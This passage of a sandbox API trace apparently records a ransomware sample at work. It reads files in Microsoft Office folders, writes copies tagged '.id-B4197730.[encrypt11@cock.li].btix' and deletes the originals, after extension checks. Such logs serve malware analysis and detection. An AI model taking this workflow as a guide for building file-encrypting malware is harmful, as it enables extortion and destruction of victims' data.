lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.688] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=12640256) returned 1 [0140.688] CloseHandle (hObject=0x498) returned 1 [0140.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220 [0140.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.689] lstrlenW (lpString=".doc") returned 4 [0140.689] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0140.689] lstrlenW (lpString=".docx") returned 5 [0140.689] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0140.689] lstrlenW (lpString=".pdf") returned 4 [0140.689] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0140.689] lstrlenW (lpString=".xls") returned 4 [0140.689] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0140.689] lstrlenW (lpString=".xlsx") returned 5 [0140.689] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0140.689] lstrlenW (lpString=".ppt") returned 4 [0140.689] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0140.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.689] lstrlenW (lpString=".zip") returned 4 [0140.689] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0140.689] lstrlenW (lpString=".rar") returned 4 [0140.689] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0140.689] lstrlenW (lpString=".bz2") returned 4 [0140.689] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0140.689] lstrlenW (lpString=".7z") returned 3 [0140.689] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0140.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.689] lstrlenW (lpString=".dbf") returned 4 [0140.689] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0140.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.689] lstrlenW (lpString=".1cd") returned 4 [0140.689] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0140.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.690] lstrlenW (lpString=".jpg") returned 4 [0140.690] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0140.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.690] lstrlenW (lpString=".doc") returned 4 [0140.690] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0140.690] lstrlenW (lpString=".docx") returned 5 [0140.690] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0140.690] lstrlenW (lpString=".pdf") returned 4 [0140.690] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0140.690] lstrlenW (lpString=".xls") returned 4 [0140.690] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0140.690] lstrlenW (lpString=".xlsx") returned 5 [0140.690] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0140.690] lstrlenW (lpString=".ppt") returned 4 [0140.690] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0140.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.690] lstrlenW (lpString=".zip") returned 4 [0140.690] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0140.690] lstrlenW (lpString=".rar") returned 4 [0140.690] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0140.690] lstrlenW (lpString=".bz2") returned 4 [0140.690] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0140.690] lstrlenW (lpString=".7z") returned 3 [0140.690] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0140.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.690] lstrlenW (lpString=".dbf") returned 4 [0140.690] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0140.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.691] lstrlenW (lpString=".1cd") returned 4 [0140.691] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0140.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi") returned 64 [0140.691] lstrlenW (lpString=".jpg") returned 4 [0140.691] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0140.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0140.692] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1026422) returned 1 [0140.692] CloseHandle (hObject=0x498) returned 1 [0140.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 0x220 [0140.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0140.934] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.934] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.935] GetLastError () returned 0x0 [0140.935] ReadFile (in: hFile=0x4c8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0140.986] WriteFile (in: hFile=0x380, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0141.156] ReadFile (in: hFile=0x4c8, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.156] WriteFile (in: hFile=0x380, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10c, lpOverlapped=0x0) returned 1 [0141.156] SetEndOfFile (hFile=0x380) returned 1 [0141.156] CloseHandle (hObject=0x380) returned 1 [0141.157] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.157] SetEndOfFile (hFile=0x4c8) returned 1 [0141.177] CloseHandle (hObject=0x4c8) returned 1 [0141.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.384] lstrlenW (lpString=".doc") returned 4 [0141.384] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0141.384] lstrlenW (lpString=".docx") returned 5 [0141.384] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0141.384] lstrlenW (lpString=".pdf") returned 4 [0141.384] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0141.384] lstrlenW (lpString=".xls") returned 4 [0141.384] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0141.384] lstrlenW (lpString=".xlsx") returned 5 [0141.384] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0141.384] lstrlenW (lpString=".ppt") returned 4 [0141.384] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.384] lstrlenW (lpString=".zip") returned 4 [0141.384] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0141.385] lstrlenW (lpString=".rar") returned 4 [0141.385] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0141.385] lstrlenW (lpString=".bz2") returned 4 [0141.385] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0141.385] lstrlenW (lpString=".7z") returned 3 [0141.385] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.385] lstrlenW (lpString=".dbf") returned 4 [0141.385] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.385] lstrlenW (lpString=".1cd") returned 4 [0141.385] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0141.385] lstrlenW (lpString=".jpg") returned 4 [0141.385] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0141.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0141.716] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.716] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.915] GetLastError () returned 0x0 [0141.915] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x91809, lpOverlapped=0x0) returned 1 [0141.956] WriteFile (in: hFile=0x380, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x91810, lpOverlapped=0x0) returned 1 [0141.966] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.966] WriteFile (in: hFile=0x380, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10c, lpOverlapped=0x0) returned 1 [0141.966] SetEndOfFile (hFile=0x380) returned 1 [0142.236] CloseHandle (hObject=0x380) returned 1 [0142.236] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.236] SetEndOfFile (hFile=0x550) returned 1 [0142.259] CloseHandle (hObject=0x550) returned 1 [0142.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0142.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.261] lstrlenW (lpString=".doc") returned 4 [0142.261] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0142.261] lstrlenW (lpString=".docx") returned 5 [0142.261] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0142.261] lstrlenW (lpString=".pdf") returned 4 [0142.261] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0142.261] lstrlenW (lpString=".xls") returned 4 [0142.261] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0142.261] lstrlenW (lpString=".xlsx") returned 5 [0142.261] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0142.261] lstrlenW (lpString=".ppt") returned 4 [0142.261] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0142.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.261] lstrlenW (lpString=".zip") returned 4 [0142.261] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0142.261] lstrlenW (lpString=".rar") returned 4 [0142.261] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0142.261] lstrlenW (lpString=".bz2") returned 4 [0142.262] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0142.262] lstrlenW (lpString=".7z") returned 3 [0142.262] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0142.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.262] lstrlenW (lpString=".dbf") returned 4 [0142.262] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0142.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.262] lstrlenW (lpString=".1cd") returned 4 [0142.262] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0142.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0142.262] lstrlenW (lpString=".jpg") returned 4 [0142.262] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0142.270] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11143) returned 1 [0142.270] CloseHandle (hObject=0x54c) returned 1 [0142.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0142.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.271] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.271] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.271] GetLastError () returned 0x0 [0142.272] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0142.289] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0142.290] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.290] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x102, lpOverlapped=0x0) returned 1 [0142.294] SetEndOfFile (hFile=0x550) returned 1 [0142.295] CloseHandle (hObject=0x550) returned 1 [0142.295] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.295] SetEndOfFile (hFile=0x54c) returned 1 [0142.298] CloseHandle (hObject=0x54c) returned 1 [0142.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString=".doc") returned 4 [0142.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".docx") returned 5 [0142.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.299] lstrlenW (lpString=".pdf") returned 4 [0142.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".xls") returned 4 [0142.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".xlsx") returned 5 [0142.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.299] lstrlenW (lpString=".ppt") returned 4 [0142.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString=".zip") returned 4 [0142.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".rar") returned 4 [0142.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".bz2") returned 4 [0142.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString=".7z") returned 3 [0142.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString=".dbf") returned 4 [0142.299] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString=".1cd") returned 4 [0142.299] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0142.299] lstrlenW (lpString=".jpg") returned 4 [0142.299] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.301] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=20901) returned 1 [0142.301] CloseHandle (hObject=0x54c) returned 1 [0142.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0142.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.302] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.302] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.302] GetLastError () returned 0x0 [0142.302] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0142.405] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0142.407] ReadFile (in: hFile=0x54c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.407] WriteFile (in: hFile=0x550, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1 [0142.407] SetEndOfFile (hFile=0x550) returned 1 [0142.472] CloseHandle (hObject=0x550) returned 1 [0142.472] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.472] SetEndOfFile (hFile=0x54c) returned 1 [0142.474] CloseHandle (hObject=0x54c) returned 1 [0142.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0142.475] lstrlenW 